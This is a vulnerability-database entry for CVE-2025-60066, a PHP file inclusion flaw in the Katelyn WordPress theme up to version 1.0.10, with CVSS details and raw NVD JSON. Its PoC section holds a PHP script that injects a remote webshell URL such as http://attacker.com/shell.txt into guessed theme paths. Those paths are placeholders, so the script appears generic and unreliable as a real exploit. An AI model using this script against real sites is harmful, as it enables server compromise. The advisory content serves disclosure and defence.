Security Vulnerability Report
中文
CVE-2025-60066 CVSS 8.1 HIGH

CVE-2025-60066

Published: 2025-12-18 08:16:07
Last Modified: 2026-04-27 16:16:31

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Katelyn katelyn allows PHP Local File Inclusion.This issue affects Katelyn: from n/a through <= 1.0.10.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:katelyn:*:*:*:*:*:wordpress:*:* - VULNERABLE
Katelyn WordPress主题 <= 1.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60066 PoC - Katelyn Theme PHP Remote File Inclusion * Author: Security Researcher * Date: 2025-12-18 * * Usage: php poc.php <target_url> <attacker可控的webshell地址> * Example: php poc.php http://victim.com http://attacker.com/shell.txt */ if ($argc < 3) { echo "Usage: php " . $argv[0] . " <target_url> <remote_file_url>\n"; echo "Example: php " . $argv[0] . " http://victim.com/ http://attacker.com/shell.txt\n"; exit(1); } $targetUrl = rtrim($argv[1], '/'); $remoteFile = $argv[2]; // 构造恶意请求,触发文件包含漏洞 $vulnerablePaths = [ '/wp-content/themes/katelyn/some-file.php?file=', '/wp-content/themes/katelyn/template-parts/some-file.php?file=', '/wp-content/themes/katelyn/inc/some-file.php?file=', ]; echo "[*] CVE-2025-60066 PoC - Katelyn Theme LFI/RFI\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] Remote File: {$remoteFile}\n\n"; foreach ($vulnerablePaths as $path) { $exploitUrl = $targetUrl . $path . urlencode($remoteFile); echo "[+] Testing: {$exploitUrl}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploitUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[!] Potential vulnerability found at: {$exploitUrl}\n"; echo "[!] Response length: " . strlen($response) . " bytes\n"; } } echo "\n[*] Scan complete. Manual verification recommended.\n"; echo "\n[*] Mitigation: Update Katelyn theme to latest version or disable until patched.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60066", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:06.667", "lastModified": "2026-04-27T16:16:31.207", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Katelyn katelyn allows PHP Local File Inclusion.This issue affects Katelyn: from n/a through <= 1.0.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:katelyn:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.10", "matchCriteriaId": "8920C6EA-E72D-4EA3-90B2-5D3C0587C3AD"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/katelyn/vulnerability/wordpress-katelyn-theme-1-0-10-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}